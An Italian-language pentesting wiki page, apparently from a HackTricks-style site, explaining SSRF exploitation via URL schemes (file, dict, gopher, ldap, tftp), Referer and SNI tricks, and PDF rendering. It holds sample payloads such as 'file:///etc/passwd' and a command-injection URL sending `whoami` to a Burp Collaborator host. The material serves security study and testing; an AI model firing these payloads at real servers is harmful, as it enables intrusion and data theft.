SSRF (Server Side Request Forgery)
Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:
Informazioni di Base
Una vulnerabilità di Server-side Request Forgery (SSRF) si verifica quando un attaccante manipola un'applicazione lato server per effettuare richieste HTTP a un dominio a loro scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante.
Cattura di SSRF
La prima cosa da fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi utilizzare strumenti come:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Un Burp Collaborator che utilizza ngrok
Bypass dei Domini in Whitelist
Di solito scoprirai che l'SSRF funziona solo in certi domini in whitelist o URL. Nella pagina seguente trovi una raccolta di tecniche da provare per bypassare quella whitelist:
pageURL Format BypassBypass tramite reindirizzamento aperto
Se il server è correttamente protetto, potresti bypassare tutte le restrizioni sfruttando un reindirizzamento aperto all'interno della pagina web. Poiché la pagina web permetterà SSRF allo stesso dominio e probabilmente seguirà i reindirizzamenti, puoi sfruttare il reindirizzamento aperto per fare in modo che il server acceda a qualsiasi risorsa interna. Leggi di più qui: https://portswigger.net/web-security/ssrf
Protocolli
file://
Lo schema URL
file://
è riferito, puntando direttamente a/etc/passwd
:file:///etc/passwd
dict://
Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Viene fornito un esempio di URL costruito che mira a una parola specifica, a un database e a un numero di voce, nonché un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP maligno:
url=sftp://generic.com:11111/
TFTP://
Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Viene fatta una richiesta TFTP a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Questo segmento copre il Lightweight Directory Access Protocol, sottolineando il suo utilizzo per gestire e accedere a servizi di informazioni di directory distribuite su reti IP. Interagisci con un server LDAP in localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Viene descritto un metodo per sfruttare le vulnerabilità di SSRF per interagire con i servizi SMTP in localhost, inclusi i passaggi per rivelare i nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
Curl URL globbing - Bypass del WAF
Se l'SSRF viene eseguito tramite curl, curl ha una funzionalità chiamata URL globbing che potrebbe essere utile per bypassare i WAF. Ad esempio in questo articolo puoi trovare questo esempio per una traversata del percorso tramite il protocollo
file
:
Gopher://
Viene discusso il protocollo Gopher e la sua capacità di specificare IP, porta e byte per la comunicazione con il server, insieme a strumenti come Gopherus e remote-method-guesser per la creazione di payload. Vengono illustrate due utilizzi distinti:
Gopher://
Utilizzando questo protocollo è possibile specificare l'IP, la porta e i byte che si desidera che il server invii. Quindi, è possibile sfruttare un SSRF per comunicare con qualsiasi server TCP (ma è necessario sapere come parlare con il servizio prima). Fortunatamente, è possibile utilizzare Gopherus per creare payload per diversi servizi. Inoltre, remote-method-guesser può essere utilizzato per creare payload gopher per servizi Java RMI.
Gopher smtp
Gopher HTTP
Gopher SMTP — Connessione inversa a 1337
Gopher MongoDB -- Crea un utente con username=admin con password=admin123 e con permesso=amministratore
SSRF tramite l'intestazione Referrer e Altri
I software di analisi sui server spesso registrano l'intestazione Referrer per tracciare i collegamenti in ingresso, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tali software potrebbero visitare URL esterni menzionati nell'intestazione Referrer per analizzare i contenuti del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "Collaborator Everywhere", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare possibili superfici di attacco SSRF.
SSRF tramite dati SNI dal certificato
Una errata configurazione che potrebbe consentire la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione di Nginx:
Nella questa configurazione, il valore dal campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questo setup espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata specificando semplicemente l'indirizzo IP desiderato o il nome di dominio nel campo SNI. Di seguito è riportato un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come internal.host.com
, utilizzando il comando openssl
:
SSRF con Iniezione di Comandi
Potrebbe valere la pena provare un payload come: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendering dei PDF
Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi inserire un po' di JS che verrà eseguito dal creatore di PDF stesso (il server) durante la creazione del PDF e sarai in grado di sfruttare un SSRF. Trova più informazioni qui.
Da SSRF a DoS
Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni.
Funzioni PHP SSRF
pagePHP SSRFSSRF Reindirizzamento a Gopher
Per alcune tipologie di exploit potresti aver bisogno di inviare una risposta di reindirizzamento (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento:
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo. Ottieni l'accesso oggi:
Proxy mal configurati per SSRF
Trucchi da questo post.
Flask
Last updated